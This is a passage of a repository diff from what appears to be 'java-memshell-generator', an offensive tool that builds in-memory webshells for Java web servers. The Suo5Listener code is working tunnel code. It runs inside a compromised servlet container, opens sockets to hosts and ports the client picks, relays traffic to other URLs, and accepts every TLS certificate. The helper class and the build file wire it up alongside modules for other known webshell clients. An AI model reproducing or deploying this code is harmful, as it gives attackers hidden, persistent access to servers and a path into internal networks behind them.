||||||
|
Suo5Listener p = new Suo5Listener(scInStream, respOutStream);
|
||||||
|
t = new Thread(p);
|
||||||
|
t.start();
|
||||||
|
readReq(reqInputStream, scOutStream);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("pipe error, %s\n", e);
|
||||||
|
} finally {
|
||||||
|
sc.close();
|
||||||
|
respOutStream.close();
|
||||||
|
if (t != null) {
|
||||||
|
t.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||||
|
byte[] readBuf = new byte[1024 * 8];
|
||||||
|
while (true) {
|
||||||
|
int n = inputStream.read(readBuf);
|
||||||
|
if (n <= 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||||
|
if (needMarshal) {
|
||||||
|
dataTmp = marshal(newData(dataTmp));
|
||||||
|
}
|
||||||
|
outputStream.write(dataTmp);
|
||||||
|
outputStream.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||||
|
while (true) {
|
||||||
|
HashMap dataMap;
|
||||||
|
dataMap = unmarshal(bufInputStream);
|
||||||
|
|
||||||
|
byte[] actions = (byte[]) dataMap.get("ac");
|
||||||
|
if (actions.length != 1) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
byte action = actions[0];
|
||||||
|
if (action == 0x02) {
|
||||||
|
socketOutStream.close();
|
||||||
|
return;
|
||||||
|
} else if (action == 0x01) {
|
||||||
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
|
if (data.length != 0) {
|
||||||
|
socketOutStream.write(data);
|
||||||
|
socketOutStream.flush();
|
||||||
|
}
|
||||||
|
} else if (action == 0x03) {
|
||||||
|
continue;
|
||||||
|
} else {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
|
||||||
|
Exception {
|
||||||
|
InputStream is = request.getInputStream();
|
||||||
|
BufferedInputStream reader = new BufferedInputStream(is);
|
||||||
|
HashMap dataMap;
|
||||||
|
dataMap = unmarshal(reader);
|
||||||
|
|
||||||
|
|
||||||
|
String clientId = new String((byte[]) dataMap.get("id"));
|
||||||
|
byte[] actions = (byte[]) dataMap.get("ac");
|
||||||
|
if (actions.length != 1) {
|
||||||
|
resp.setStatus(403);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
ActionCreate byte = 0x00
|
||||||
|
ActionData byte = 0x01
|
||||||
|
ActionDelete byte = 0x02
|
||||||
|
ActionHeartbeat byte = 0x03
|
||||||
|
*/
|
||||||
|
byte action = actions[0];
|
||||||
|
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||||
|
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||||
|
String redirectUrl = "";
|
||||||
|
if (needRedirect) {
|
||||||
|
dataMap.remove("r");
|
||||||
|
redirectUrl = new String(redirectData);
|
||||||
|
needRedirect = !isLocalAddr(redirectUrl);
|
||||||
|
}
|
||||||
|
// load balance, send request with data to request url
|
||||||
|
// action 0x00 need to pipe, see below
|
||||||
|
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||||
|
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||||
|
conn.disconnect();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
resp.setBufferSize(512);
|
||||||
|
OutputStream respOutStream = resp.getOutputStream();
|
||||||
|
if (action == 0x02) {
|
||||||
|
Object o = this.get(clientId);
|
||||||
|
if (o == null) return;
|
||||||
|
OutputStream scOutStream = (OutputStream) o;
|
||||||
|
scOutStream.close();
|
||||||
|
return;
|
||||||
|
} else if (action == 0x01) {
|
||||||
|
Object o = this.get(clientId);
|
||||||
|
if (o == null) {
|
||||||
|
respOutStream.write(marshal(newDel()));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
OutputStream scOutStream = (OutputStream) o;
|
||||||
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
|
if (data.length != 0) {
|
||||||
|
scOutStream.write(data);
|
||||||
|
scOutStream.flush();
|
||||||
|
}
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
}
|
||||||
|
|
||||||
|
if (action != 0x00) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// 0x00 create new tunnel
|
||||||
|
resp.setHeader("X-Accel-Buffering", "no");
|
||||||
|
String host = new String((byte[]) dataMap.get("h"));
|
||||||
|
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||||
|
if (port == 0) {
|
||||||
|
port = request.getLocalPort();
|
||||||
|
}
|
||||||
|
|
||||||
|
InputStream readFrom;
|
||||||
|
Socket sc = null;
|
||||||
|
HttpURLConnection conn = null;
|
||||||
|
|
||||||
|
if (needRedirect) {
|
||||||
|
// pipe redirect stream and current response body
|
||||||
|
conn = redirect(request, dataMap, redirectUrl);
|
||||||
|
readFrom = conn.getInputStream();
|
||||||
|
} else {
|
||||||
|
// pipe socket stream and current response body
|
||||||
|
try {
|
||||||
|
sc = new Socket();
|
||||||
|
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||||
|
readFrom = sc.getInputStream();
|
||||||
|
this.put(clientId, sc.getOutputStream());
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||||
|
respOutStream.flush();
|
||||||
|
resp.flushBuffer();
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("connect error %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
this.remove(clientId);
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
readSocket(readFrom, respOutStream, !needRedirect);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.println("socket error " + e.toString());
|
||||||
|
// e.printStackTrace();
|
||||||
|
} finally {
|
||||||
|
if (sc != null) {
|
||||||
|
sc.close();
|
||||||
|
}
|
||||||
|
if (conn != null) {
|
||||||
|
conn.disconnect();
|
||||||
|
}
|
||||||
|
respOutStream.close();
|
||||||
|
this.remove(clientId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
readSocket(gInStream, gOutStream, true);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("read socket error, %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static HashMap collectAddr() {
|
||||||
|
HashMap addrs = new HashMap();
|
||||||
|
try {
|
||||||
|
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||||
|
while (nifs.hasMoreElements()) {
|
||||||
|
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||||
|
Enumeration addresses = nif.getInetAddresses();
|
||||||
|
while (addresses.hasMoreElements()) {
|
||||||
|
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||||
|
String s = addr.getHostAddress();
|
||||||
|
if (s != null) {
|
||||||
|
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||||
|
int ifaceIndex = s.indexOf('%');
|
||||||
|
if (ifaceIndex != -1) {
|
||||||
|
s = s.substring(0, ifaceIndex);
|
||||||
|
}
|
||||||
|
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("read socket error, %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
return addrs;
|
||||||
|
}
|
||||||
|
|
||||||
|
boolean isLocalAddr(String url) throws Exception {
|
||||||
|
String ip = (new URL(url)).getHost();
|
||||||
|
return addrs.containsKey(ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
|
||||||
|
String method = request.getMethod();
|
||||||
|
URL u = new URL(rUrl);
|
||||||
|
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||||
|
conn.setRequestMethod(method);
|
||||||
|
try {
|
||||||
|
// conn.setConnectTimeout(3000);
|
||||||
|
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||||
|
// conn.setReadTimeout(0);
|
||||||
|
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||||
|
} catch (Exception e) {
|
||||||
|
// java1.4
|
||||||
|
}
|
||||||
|
conn.setDoOutput(true);
|
||||||
|
conn.setDoInput(true);
|
||||||
|
|
||||||
|
// ignore ssl verify
|
||||||
|
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||||
|
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||||
|
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||||
|
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||||
|
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||||
|
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||||
|
}
|
||||||
|
|
||||||
|
Enumeration headers = request.getHeaderNames();
|
||||||
|
while (headers.hasMoreElements()) {
|
||||||
|
String k = (String) headers.nextElement();
|
||||||
|
conn.setRequestProperty(k, request.getHeader(k));
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream rout = conn.getOutputStream();
|
||||||
|
rout.write(marshal(dataMap));
|
||||||
|
rout.flush();
|
||||||
|
rout.close();
|
||||||
|
conn.getResponseCode();
|
||||||
|
return conn;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public X509Certificate[] getAcceptedIssuers() {
|
||||||
|
return new X509Certificate[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||||
|
Field var2 = null;
|
||||||
|
Class var3 = var0.getClass();
|
||||||
|
|
||||||
|
while (var3 != Object.class) {
|
||||||
|
try {
|
||||||
|
var2 = var3.getDeclaredField(var1);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
var3 = var3.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (var2 == null) {
|
||||||
|
throw new NoSuchFieldException(var1);
|
||||||
|
} else {
|
||||||
|
var2.setAccessible(true);
|
||||||
|
return var2.get(var0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
package jmg.suo5.util;
|
||||||
|
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.suo5.memshell.Suo5Filter;
|
||||||
|
import jmg.suo5.memshell.Suo5Interceptor;
|
||||||
|
import jmg.suo5.memshell.Suo5Listener;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class ShellUtil {
|
||||||
|
|
||||||
|
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
|
||||||
|
private static final Map<String, Map<String, String>> toolMap = new HashMap();
|
||||||
|
|
||||||
|
public ShellUtil() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getShellName(String toolType, String shellType) {
|
||||||
|
Map<String, String> shellMap = toolMap.get(toolType);
|
||||||
|
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getShellClassName(String shellName) throws Exception {
|
||||||
|
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
|
||||||
|
throw new Exception("Invalid shell type '" + shellName + "'");
|
||||||
|
} else {
|
||||||
|
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
SHELL_CLASSNAME_MAP.put(Suo5Listener.class.getSimpleName(), Suo5Listener.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(Suo5Filter.class.getSimpleName(), Suo5Filter.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(Suo5Interceptor.class.getSimpleName(), Suo5Interceptor.class.getName());
|
||||||
|
Map<String, String> suo5Map = new HashMap();
|
||||||
|
suo5Map.put(Constants.SHELL_FILTER, Suo5Filter.class.getSimpleName());
|
||||||
|
suo5Map.put(Constants.SHELL_LISTENER, Suo5Listener.class.getSimpleName());
|
||||||
|
suo5Map.put(Constants.SHELL_INTERCEPTOR, Suo5Interceptor.class.getSimpleName());
|
||||||
|
toolMap.put(Constants.TOOL_SUO5, suo5Map);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>java-memshell-generator</artifactId>
|
||||||
|
<packaging>pom</packaging>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<modules>
|
||||||
|
<module>jmg-antsword</module>
|
||||||
|
<module>jmg-behinder</module>
|
||||||
|
<module>jmg-core</module>
|
||||||
|
<module>jmg-custom</module>
|
||||||
|
<module>jmg-godzilla</module>
|
||||||
|
<module>jmg-gui</module>
|
||||||
|
<module>jmg-neoregeorg</module>
|
||||||
|
<module>jmg-suo5</module>
|
||||||
|
</modules>
|
||||||
|
|
||||||
|
<properties>
|
||||||
|
<revision>1.0.8</revision>
|
||||||
|
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||||
|
<maven.compiler.source>8</maven.compiler.source>
|
||||||
|
<maven.compiler.target>8</maven.compiler.target>
|
||||||
|
</properties>
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>me.gv7.woodpecker</groupId>
|
||||||
|
<artifactId>woodpecker-bcel</artifactId>
|
||||||
|
<version>0.1.0</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>me.gv7.woodpecker</groupId>
|
||||||
|
<artifactId>woodpecker-tools</artifactId>
|
||||||
|
<version>0.1.1</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>me.gv7.woodpecker</groupId>
|
||||||
|
<artifactId>woodpecker-sdk</artifactId>
|
||||||
|
<version>0.3.0</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>javax.servlet</groupId>
|
||||||
|
<artifactId>javax.servlet-api</artifactId>
|
||||||
|
<version>4.0.1</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.javassist</groupId>
|
||||||
|
<artifactId>javassist</artifactId>
|
||||||
|
<version>3.20.0-GA</version>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
|
||||||
|
<build>
|
||||||
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-assembly-plugin</artifactId>
|
||||||
|
<version>3.6.0</version>
|
||||||
|
<configuration>
|
||||||
|
<descriptorRefs>
|
||||||
|
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||||
|
</descriptorRefs>
|
||||||
|
</configuration>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<id>make-assembly</id>
|
||||||
|
<phase>package</phase>
|
||||||
|
<goals>
|
||||||
|
<goal>single</goal>
|
||||||
|
</goals>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
</build>
|
||||||
|
</project>
|
||||||
Reference in New Issue
Block a user